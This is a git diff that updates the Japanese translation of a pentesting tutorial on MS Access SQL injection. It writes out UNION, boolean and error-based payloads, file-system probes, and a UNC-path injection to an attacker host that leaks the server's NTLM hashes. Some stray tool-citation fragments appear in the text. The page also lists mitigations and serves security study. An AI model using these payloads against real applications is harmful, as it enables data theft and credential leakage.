Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:19 +00:00
parent 1b682ecc68
commit 5da48459f0

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Online Playground
## オンラインプレイグラウンド
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Limitations
## DBの制限
### String Concatenation
### 文字列の連結
文字列の連結は `& (%26)``+ (%2b)` 文字を使用して可能です。
```sql
@ -17,7 +17,7 @@
```
### コメント
MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです。
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することが可能なようです:
```sql
1' union select 1,2 from table%00
```
@ -39,7 +39,7 @@ Just like TOP you can use **`LAST`** which will get the **rows from the end**.
## UNION Queries/Sub queries
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思うでしょう。MS Accessでは、**サブクエリや追加クエリでは`FROM`を指定する必要があります**。\
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思うでしょう。MS Accessでは、**サブクエリや追加クエリでは`FROM`を指定する必要があります**。\
したがって、`UNION SELECT``UNION ALL SELECT`、または条件内の括弧の中の`SELECT`を実行したい場合は、常に**有効なテーブル名を持つ`FROM`を指定する必要があります**。\
したがって、**有効なテーブル名**を知っておく必要があります。
```sql
@ -52,11 +52,11 @@ SQLiでは、通常、他のテーブルから情報を抽出するために新
**MS Access** は **`'1'=2='3'='asd'=false`** のような **奇妙な構文** を許可します。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用できます。
MS Access データベースに SQLi があり、1 つの **カラム名が username** であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
MS Access データベースに SQLi があり、ある **カラム名が username** であることを知っている(または推測した)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブールインジェクション** を使用してコンテンツを抽出する可能性があります。
```sql
'=(Mid(username,1,3)='adm')='
```
テーブルの**名前**と**カラム**を知っている場合、`Mid``LAST`、および`TOP`の組み合わせを使用して、ブールSQLiを介して**すべての情報を漏洩**させることができます:
テーブルの**名前**と**カラム**を知っている場合、`Mid``LAST`、および`TOP`を組み合わせて、ブールSQLiを介して**すべての情報を漏洩**させることができます:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
@ -72,18 +72,18 @@ _Feel free to check this in the online playground._
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
オンラインプレイグラウンドでこれを確認してください。
_Feel free to check this in the online playground._
- Sqlmapの一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) に別のリストがあります。
### 名のブルートフォース
### カラム名のブルートフォース
**現在の列名をブルートフォース**するには、次のように等号トリックをチェーンさせて使用できます:
現在のカラム名を**ブルートフォース**するには、次のようにチェイニングイコールのトリックを使用できます:
```sql
'=column_name='
```
または **group by** を使用して:
**グループ化**を使用して:
```sql
-1' GROUP BY column_name%00
```
@ -99,11 +99,21 @@ _Feel free to check this in the online playground._
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
要約すると、クエリは成功した場合に「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーするために「if-then」ステートメントを使用します。TOP 10 演算子を利用することで、最初の10件の結果を選択することが可能です。その後のLASTの使用により、10番目のタプルのみを考慮することができます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10演算子を利用することで、最初の10件の結果を選択することが可能です。その後のLASTの使用により、10番目のタプルのみを考慮することができます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
### 時間ベース
### 時間ベース(ブラインド)トリック
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Jet/ACE SQL自体はネイティブの `SLEEP()` または `WAITFOR` 関数を**提供していない**ため、従来の時間ベースのブラインドインジェクションは制限されています。しかし、エンジンに**遅いか応答しないネットワークリソースにアクセスさせる**ことで、測定可能な遅延を導入することは可能です。エンジンは結果を返す前にファイルを開こうとするため、HTTP応答時間は攻撃者が制御するホストへの往復遅延を反映します。
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
UNCパスを次のように指定します
* 高遅延リンクの背後にあるSMB共有
* `SYN-ACK`の後にTCPハンドシェイクをドロップするホスト
* ファイアウォールシンクホール
リモートルックアップによって導入される追加の秒数は、ブール条件のための**アウトオブバンドタイミングオラクル**として使用できます注入された述語が真のときのみ遅いパスを選択。Microsoftは、リモートデータベースの動作と関連するレジストリキルスイッチをKB5002984で文書化しています。 citeturn1search0
### その他の興味深い関数
@ -116,7 +126,7 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=
## テーブルの列挙
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
[**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)から、テーブル名を取得するためのクエリを見ることができます:
```sql
select MSysObjects.name
from MSysObjects
@ -126,7 +136,7 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
しかし、`MSysObjects` テーブルを読み取るアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください
しかし、`MSysObjects` テーブルを読み取るアクセス権がない場合でも、SQLインジェクションを見つけることは非常に一般的です
## ファイルシステムアクセス
@ -134,34 +144,67 @@ order by MSysObjects.name
**ウェブルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access**ウェブディレクトリのフルパス名を含むエラーメッセージ** で応答します。
MS Accessは、**ウェブディレクトリのフルパスを含むエラーメッセージ**で応答します。
### ファイル列挙
次の攻撃ベクターは、**リモートファイルシステム上のファイルの存在を推測するために使用できます**。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします:
次の攻撃ベクターは、**リモートファイルシステム上のファイルの存在を推測するために使用できます**。指定されたファイルが存在する場合、MS Accessはデータベース形式が無効であることを通知するエラーメッセージをトリガーします
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定すること**です。**指定されたファイルが存在する場合**、MS Access **データベース形式エラーメッセージ** を表示します。
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定すること**です。**指定されたファイルが存在する場合**、MS Accessは**データベース形式エラーメッセージ**を表示します。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb ファイル名の推測
### .mdbファイル名の推測
**データベースファイル名 (.mdb)** は、次のクエリで推測できます:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
ここで、**name\[i] は .mdb ファイル名** であり、**realTable はデータベース内の存在するテーブル** です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することが可能です。
ここで、**name[i] は .mdb ファイル名**であり、**realTable はデータベース内の存在するテーブル**です。MS Accessは常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することは可能です。
### リモートデータベースアクセスとNTLM資格情報の盗難 (2023)
Jet 4.0以降、すべてのクエリは、`IN '<path>'` 句を介して*異なる* `.mdb/.accdb` ファイルにあるテーブルを参照できます:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
ユーザー入力が**IN**の後の部分(または`JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`呼び出しに)連結されると、攻撃者は自分が制御するホストを指す**UNCパス**を指定できます。エンジンは次のことを行います:
1. リモートデータベースを開くためにSMB / HTTPで認証を試みる
2. ウェブサーバーの**NTLM資格情報**を漏洩させる(強制認証);
3. リモートファイルを解析する - 形式が不正または悪意のあるデータベースは、複数回パッチが適用されたJet/ACEメモリ破損バグを引き起こす可能性がありますCVE-2021-28455
実用的なインジェクションの例:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
影響:
* Net-NTLMv2 ハッシュのアウトオブバンド流出(リレーまたはオフラインクラッキングに使用可能)。
* 新しい Jet/ACE パーサーバグが悪用されると、リモートコード実行の可能性。
緩和策(レガシー Classic ASP アプリにも推奨):
* `HKLM\Software\Microsoft\Jet\4.0\Engines`(および同等の ACE パス)にレジストリ値 `AllowQueryRemoteTables = 0` を追加します。これにより、Jet/ACE は `\\` で始まるリモートパスを拒否します。
* ネットワーク境界での SMB/WebDAV のアウトバウンドをブロックします。
* `IN` 句内に入る可能性のあるクエリの任意の部分をサニタイズ/パラメータ化します。
強制認証ベクターは、2023年に Check Point Research によって再検討され、レジストリキーが存在しない場合、完全にパッチが適用された Windows Server でも依然として悪用可能であることが証明されました。 citeturn0search0
### .mdb パスワードクラッカー
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 の主データベースパスワードを回復するために使用できる無料のユーティリティです。
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
## 参考文献
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Jet/ACE を構成してリモートテーブルをブロックする](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Microsoft Access リンクテーブルを悪用した NTLM 強制認証 (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}